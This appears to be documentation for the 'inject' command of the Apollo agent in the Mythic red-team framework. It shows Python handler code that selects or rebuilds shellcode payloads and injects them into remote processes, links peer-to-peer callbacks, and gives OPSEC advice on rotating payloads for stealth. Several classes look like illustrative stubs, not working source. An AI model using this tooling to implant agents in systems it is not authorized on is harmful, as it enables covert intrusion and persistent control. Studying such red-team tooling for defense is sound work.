inject - SpecterOps Open Source

Artifacts Generated: Process Inject

Summary

High-level wrapper for injecting Apollo agent shellcode into remote processes. Automatically handles payload selection, generation, and injection orchestration through the shinject command. Supports both egress and peer-to-peer (P2P) payloads with automatic callback linking for P2P communications.

Needs Admin: False (depends on target process and injection technique)
Version: 2
Author: @djhohnstein

Arguments

pid (Number, Required) - Target process ID for injection
template (Choice, Required) - Apollo payload template to inject
regenerate (Boolean, Optional) - Generate new payload instance (default: false)

Usage

inject
# Opens modal popup for payload selection and PID specification

# Advanced scripted usage
inject {"pid": 1234, "template": "apollo.exe - Default Apollo Agent", "regenerate": true}

Output:

Injecting payload 'apollo_shellcode.bin' into PID 1234
Process injection artifact generated for PID 1234
New callback established from injected process

Detailed Summary

Agent Execution Flow

1. Payload Discovery and Selection

async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
    payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
        CallbackID=inputMsg.Callback,
        PayloadTypes=["apollo"],
        IncludeAutoGeneratedPayloads=False,
        BuildParameters=[MythicRPCPayloadSearchBuildParameter(
            PayloadType="apollo", 
            BuildParameterValues={"output_type": "Shellcode"}
        )]
    ))
    
    if payload_search.Success:
        file_names = []
        for f in payload_search.Payloads:
            value = f"{f.Filename} - {f.Description}"
            file_names.append(value)
        return file_names

Queries Mythic for available Apollo shellcode payloads
Filters payloads to only include shellcode format (“Raw” output type)
Excludes auto-generated payloads to show only operator-created templates
Presents payloads in format: “filename - description”

2. Parameter Processing and Validation

async def parse_arguments(self):
    if self.command_line[0] != "{":
        raise Exception("Inject requires JSON parameters and not raw command line.")
    
    self.load_args_from_json_string(self.command_line)
    supplied_dict = json.loads(self.command_line)
    
    if "process_id" in supplied_dict:
        self.add_arg("pid", int(supplied_dict["process_id"]))
    
    if self.get_arg("pid") == 0:
        raise Exception("Required non-zero PID")

Requires JSON parameter format (no raw command line)
Validates PID is provided and non-zero
Supports alternative “process_id” parameter name for compatibility
Performs early validation before payload processing

3. Payload Resolution and Retrieval

async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
    string_payload = [x.strip() for x in taskData.args.get_arg("template").split(" - ")]
    filename = string_payload[0]
    desc = string_payload[1]
    
    payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
        CallbackID=taskData.Callback.ID,
        PayloadTypes=["apollo"],
        Filename=filename,
        Description=desc,
        IncludeAutoGeneratedPayloads=False,
        BuildParameters=[MythicRPCPayloadSearchBuildParameter(
            PayloadType="apollo", 
            BuildParameterValues={"output_type": "Shellcode"}
        )]
    ))

Parses template selection into filename and description components
Searches for exact payload match using filename and description
Ensures payload is Apollo type with shellcode output format
Validates payload exists and is accessible

4. Payload Generation and Build Management

if taskData.args.get_arg("regenerate"):
    newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage(
        TaskID=taskData.Task.ID, 
        PayloadUUID=str_uuid, 
        NewDescription="{}'s injection into PID {}".format(
            taskData.Task.OperatorUsername, 
            str(taskData.args.get_arg("pid"))
        )
    ))
    
    if newPayloadResp.Success:
        str_uuid = newPayloadResp.NewPayloadUUID
        while True:
            resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
                PayloadUUID=newPayloadResp.NewPayloadUUID
            ))
            if resp.Success:
                if resp.Payloads[0].BuildPhase == 'success':
                    payload = resp.Payloads[0]
                    break
                elif resp.Payloads[0].BuildPhase == 'error':
                    raise Exception("Failed to build new payload")
                else:
                    await asyncio.sleep(1)  # Wait for build completion

Supports generating new payload instances from templates
Creates descriptive payload names including operator and target PID
Implements polling mechanism for build completion
Handles build failures with appropriate error messages

5. C2 Profile Detection and P2P Handling

c2_info = payload.C2Profiles[0]
is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp"

if not is_p2p:
    # Standard egress payload injection
    subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
        TaskID=taskData.Task.ID,
        CommandName="shinject",
        Params=json.dumps({
            "pid": taskData.args.get_arg("pid"), 
            "shellcode-file-id": payload.AgentFileId
        })
    ))
else:
    # P2P payload requires connection linking
    connection_info = {
        "host": "127.0.0.1",
        "agent_uuid": str_uuid,
        "c2_profile": c2_info.to_json()
    }
    connection_info["c2_profile"]["name"] = connection_info["c2_profile"]["c2_profile"]
    connection_info["c2_profile"]["parameters"] = connection_info["c2_profile"]["c2_profile_parameters"]
    
    temp_inject_link_data[taskData.Task.ID] = connection_info
    subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
        TaskID=taskData.Task.ID,
        SubtaskCallbackFunction="inject_callback",
        CommandName="shinject",
        Params=json.dumps({
            "pid": taskData.args.get_arg("pid"), 
            "shellcode-file-id": payload.AgentFileId
        })
    ))

Detects C2 profile type to determine injection strategy
Handles egress payloads (HTTP/HTTPS) with simple injection
Manages P2P payloads (SMB/TCP) with connection linking
Prepares connection information for automatic callback linking

6. Subtask Orchestration and Delegation

# The inject command creates subtasks rather than executing directly
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
    TaskID=taskData.Task.ID,
    CommandName="shinject",  # Delegates to shinject command
    Params=json.dumps({
        "pid": taskData.args.get_arg("pid"), 
        "shellcode-file-id": payload.AgentFileId
    })
))

Creates subtask for actual shellcode injection
Delegates to shinject command for low-level injection
Passes resolved payload file ID and target PID
Maintains parent-child task relationship

7. P2P Callback Completion Handling

async def inject_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
    response = PTTaskCompletionFunctionMessageResponse(Success=True, Completed=True)
    
    # Copy responses from subtask to parent task
    resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(
        TaskID=task.SubtaskData.Task.ID
    ))
    for r in resp.Responses:
        await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
            TaskID=task.TaskData.Task.ID,
            Response=r.Response
        ))
    
    # If injection succeeded, create link subtask for P2P
    if "error" not in task.SubtaskData.Task.Status:
        if task.TaskData.Task.ID in temp_inject_link_data:
            response.Completed = False
            subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
                TaskID=task.TaskData.Task.ID,
                CommandName="link",
                SubtaskCallbackFunction="link_callback",
                Params=json.dumps({
                    "connection_info": temp_inject_link_data[task.TaskData.Task.ID]
                })
            ))
            del temp_inject_link_data[task.TaskData.Task.ID]
    
    return response

Handles completion of injection subtask
Copies all responses from subtask to parent task
Automatically creates link subtask for P2P payloads
Manages connection information for callback linking

8. Link Completion and Response Aggregation

async def link_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
    response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus=task.SubtaskData.Task.Status, Completed=True)
    
    # Copy link responses to parent task
    resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(
        TaskID=task.SubtaskData.Task.ID
    ))
    for r in resp.Responses:
        await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
            TaskID=task.TaskData.Task.ID,
            Response=r.Response
        ))
    
    return response

Handles completion of link subtask for P2P connections
Aggregates all responses from both injection and linking
Provides complete operation status to operator

Payload Types and Compatibility

Supported Payload Formats

# Only shellcode format payloads are supported
BUILD_PARAMETERS = {
    "output_type": "Shellcode",  # Must be "Raw" format in Mythic UI
    "architecture": "x64",       # or "x86" 
    "payload_type": "apollo"
}

Shellcode Format: Must be position-independent shellcode
Architecture: x64 or x86 (must match target process)
Payload Type: Apollo agent payloads only
Output Type: “Raw” format in Mythic payload builder

C2 Profile Support

# Supported C2 profiles and their handling
C2_PROFILES = {
    "http": {
        "type": "egress",
        "requires_linking": False,
        "connection_method": "outbound_http"
    },
    "https": {
        "type": "egress", 
        "requires_linking": False,
        "connection_method": "outbound_https"
    },
    "smb": {
        "type": "p2p",
        "requires_linking": True,
        "connection_method": "named_pipes"
    },
    "tcp": {
        "type": "p2p",
        "requires_linking": True,
        "connection_method": "raw_tcp"
    }
}

Payload Template Management

# Template selection and reuse
class PayloadTemplateManager:
    def __init__(self):
        self.templates = {}
    
    def select_template(self, criteria):
        # Filter templates based on:
        # - C2 profile compatibility
        # - Architecture requirements
        # - Operational security needs
        # - Target environment constraints
        pass
    
    def should_regenerate(self, template, target_info):
        # Consider regeneration for:
        # - Unique payload per target
        # - Burn prevention
        # - Operational security
        # - Payload customization
        return True

Advanced Features and Automation

Process Browser Integration

# UI integration for process selection
SUPPORTED_UI_FEATURES = ["process_browser:inject"]

# Allows operators to:
# - Browse running processes visually
# - Select target process from GUI
# - View process details (PID, name, user, etc.)
# - Filter processes by various criteria

Automated Payload Generation

# Automatic payload generation with descriptive names
def generate_payload_description(operator, pid, timestamp):
    return f"{operator}'s injection into PID {pid} at {timestamp}"

# Benefits:
# - Unique payloads per injection
# - Audit trail of payload usage
# - Reduced payload reuse risks
# - Operational tracking

Callback Linking Automation

# Automatic callback establishment for P2P payloads
class CallbackLinkingManager:
    def __init__(self):
        self.pending_links = {}
    
    def handle_p2p_injection(self, task_id, connection_info):
        # Store connection info for post-injection linking
        self.pending_links[task_id] = connection_info
    
    def create_link_subtask(self, task_id):
        # Automatically link P2P callbacks after successful injection
        connection_info = self.pending_links.get(task_id)
        if connection_info:
            # Create link command with connection details
            return self.create_link_command(connection_info)

Error Handling and Recovery

Payload Build Failure Handling

# Comprehensive error handling for payload operations
class PayloadErrorHandler:
    def handle_build_failure(self, error_details):
        error_scenarios = {
            "compilation_error": "Payload compilation failed - check build parameters",
            "missing_dependencies": "Required build dependencies not available",
            "invalid_configuration": "Payload configuration is invalid",
            "resource_exhaustion": "Insufficient resources for payload build"
        }
        return error_scenarios.get(error_details.type, "Unknown build error")
    
    def handle_injection_failure(self, error_details):
        injection_scenarios = {
            "process_not_found": "Target process no longer exists",
            "access_denied": "Insufficient privileges for injection",
            "architecture_mismatch": "Payload architecture doesn't match target",
            "technique_failed": "Injection technique failed"
        }
        return injection_scenarios.get(error_details.type, "Unknown injection error")

Recovery Strategies

# Automatic retry and fallback mechanisms
class InjectionRecoveryManager:
    def __init__(self):
        self.retry_attempts = 3
        self.fallback_techniques = ["CreateRemoteThreadInjection", "QueueUserAPCInjection"]
    
    async def attempt_injection_with_retry(self, payload, pid):
        for attempt in range(self.retry_attempts):
            try:
                result = await self.perform_injection(payload, pid)
                if result.success:
                    return result
            except Exception as e:
                if attempt == self.retry_attempts - 1:
                    raise e
                await asyncio.sleep(1)  # Brief delay before retry
        
        # Try fallback techniques if primary fails
        for technique in self.fallback_techniques:
            try:
                result = await self.perform_injection_with_technique(payload, pid, technique)
                if result.success:
                    return result
            except Exception:
                continue
        
        raise Exception("All injection attempts failed")

Security Considerations

Payload Tracking and Management

# Payload lifecycle management for security
class PayloadSecurityManager:
    def __init__(self):
        self.payload_usage_log = {}
    
    def track_payload_usage(self, payload_id, target_info):
        # Track payload usage for:
        # - Burn prevention
        # - Operational security
        # - Audit requirements
        # - Attribution management
        self.payload_usage_log[payload_id] = {
            "target": target_info,
            "timestamp": datetime.now(),
            "operator": self.get_current_operator()
        }
    
    def should_regenerate_payload(self, payload_id):
        # Regenerate payloads based on:
        # - Usage count
        # - Time since last use
        # - Security requirements
        # - Operational policies
        usage_count = len(self.payload_usage_log.get(payload_id, []))
        return usage_count > 5  # Example threshold

Operational Security Features

# OPSEC considerations for payload injection
class OPSECManager:
    def evaluate_injection_risk(self, target_pid, payload_info):
        risk_factors = {
            "high_profile_process": self.is_high_profile_process(target_pid),
            "unique_payload": payload_info.is_unique,
            "detection_history": self.get_detection_history(payload_info),
            "environment_sensitivity": self.assess_environment_risk()
        }
        return self.calculate_risk_score(risk_factors)
    
    def recommend_injection_parameters(self, risk_assessment):
        if risk_assessment.score > 0.8:
            return {
                "regenerate_payload": True,
                "use_advanced_technique": True,
                "delay_injection": True
            }
        return {"regenerate_payload": False}

Performance and Resource Management

Payload Caching and Optimization

# Efficient payload management
class PayloadCacheManager:
    def __init__(self):
        self.cache = {}
        self.cache_size_limit = 50  # Maximum cached payloads
    
    def get_cached_payload(self, template_id):
        # Return cached payload if available and valid
        if template_id in self.cache:
            payload = self.cache[template_id]
            if self.is_payload_valid(payload):
                return payload
        return None
    
    def cache_payload(self, template_id, payload):
        # Cache payload for future use
        if len(self.cache) >= self.cache_size_limit:
            self.evict_oldest_payload()
        self.cache[template_id] = payload

Resource Usage Monitoring

# Monitor resource consumption during injection
class ResourceMonitor:
    def monitor_injection_operation(self, task_id):
        metrics = {
            "payload_build_time": self.measure_build_time(task_id),
            "injection_time": self.measure_injection_time(task_id),
            "memory_usage": self.measure_memory_usage(task_id),
            "network_overhead": self.measure_network_overhead(task_id)
        }
        return metrics

APIs Used

API	Purpose	Integration
`SendMythicRPCPayloadSearch`	Search for available payloads	Mythic RPC
`SendMythicRPCPayloadCreateFromUUID`	Generate new payload instances	Mythic RPC
`SendMythicRPCTaskCreateSubtask`	Create injection subtasks	Mythic RPC
`SendMythicRPCResponseSearch`	Retrieve subtask responses	Mythic RPC
`SendMythicRPCResponseCreate`	Forward responses to parent	Mythic RPC
`shinject` command	Perform actual shellcode injection	Apollo Command
`link` command	Establish P2P callback links	Apollo Command

MITRE ATT&CK Mapping

T1055 - Process Injection
T1055.001 - Process Injection: Dynamic-link Library Injection
T1055.002 - Process Injection: Portable Executable Injection
T1129 - Shared Modules
T1071 - Application Layer Protocol (for egress payloads)
T1090 - Proxy (for P2P payloads)

Security Considerations

Payload Management: Centralized payload tracking and generation
Operational Security: Automated unique payload generation per injection
Callback Linking: Automatic P2P callback establishment
Audit Trail: Complete logging of payload usage and injection targets
Technique Flexibility: Leverages configurable injection techniques
Error Handling: Comprehensive error reporting and recovery
Resource Management: Efficient payload caching and resource usage

Limitations

Payload Format: Only supports shellcode format payloads
Apollo Specific: Limited to Apollo agent payloads
Architecture Matching: Payload must match target process architecture
C2 Profile Dependencies: P2P payloads require additional linking steps
Build Dependencies: Requires functioning Mythic payload builder
Network Connectivity: Depends on reliable Mythic communication
Process Permissions: Subject to target process access restrictions

Error Conditions

No Payloads Available: No matching Apollo shellcode payloads found
Payload Build Failed: Template payload failed to build
Build Timeout: Payload build took too long to complete
Injection Failed: Underlying shinject command failed
Link Failed: P2P callback linking failed (P2P payloads only)
Permission Denied: Insufficient access to target process
Invalid Template: Selected template is not shellcode format
Network Error: Communication with Mythic failed

Best Practices

Template Management: Maintain variety of payload templates for different scenarios
Payload Regeneration: Use regenerate option for unique payloads per target
Process Selection: Choose appropriate target processes for injection
C2 Profile Awareness: Understand egress vs P2P payload differences
Error Monitoring: Monitor subtask completion and handle failures
Resource Management: Be aware of payload build and injection overhead
OPSEC Considerations: Rotate payloads and techniques for stealth
Testing: Validate payload templates in lab environments first

​Summary

​Arguments

​Usage

​Detailed Summary

​Agent Execution Flow

​1. Payload Discovery and Selection

​2. Parameter Processing and Validation

​3. Payload Resolution and Retrieval

​4. Payload Generation and Build Management

​5. C2 Profile Detection and P2P Handling

​6. Subtask Orchestration and Delegation

​7. P2P Callback Completion Handling

​8. Link Completion and Response Aggregation

​Payload Types and Compatibility

​Supported Payload Formats

​C2 Profile Support

​Payload Template Management

​Advanced Features and Automation

​Process Browser Integration

​Automated Payload Generation

​Callback Linking Automation

​Error Handling and Recovery

​Payload Build Failure Handling

​Recovery Strategies

​Security Considerations

​Payload Tracking and Management

​Operational Security Features

​Performance and Resource Management

​Payload Caching and Optimization

​Resource Usage Monitoring

​APIs Used

​MITRE ATT&CK Mapping

​Security Considerations

​Limitations

​Error Conditions

​Best Practices

Summary

Arguments

Usage

Detailed Summary

Agent Execution Flow

1. Payload Discovery and Selection

2. Parameter Processing and Validation

3. Payload Resolution and Retrieval

4. Payload Generation and Build Management

5. C2 Profile Detection and P2P Handling

6. Subtask Orchestration and Delegation

7. P2P Callback Completion Handling

8. Link Completion and Response Aggregation

Payload Types and Compatibility

Supported Payload Formats

C2 Profile Support

Payload Template Management

Advanced Features and Automation

Process Browser Integration

Automated Payload Generation

Callback Linking Automation

Error Handling and Recovery

Payload Build Failure Handling

Recovery Strategies

Security Considerations

Payload Tracking and Management

Operational Security Features

Performance and Resource Management

Payload Caching and Optimization

Resource Usage Monitoring

APIs Used

MITRE ATT&CK Mapping

Security Considerations

Limitations

Error Conditions

Best Practices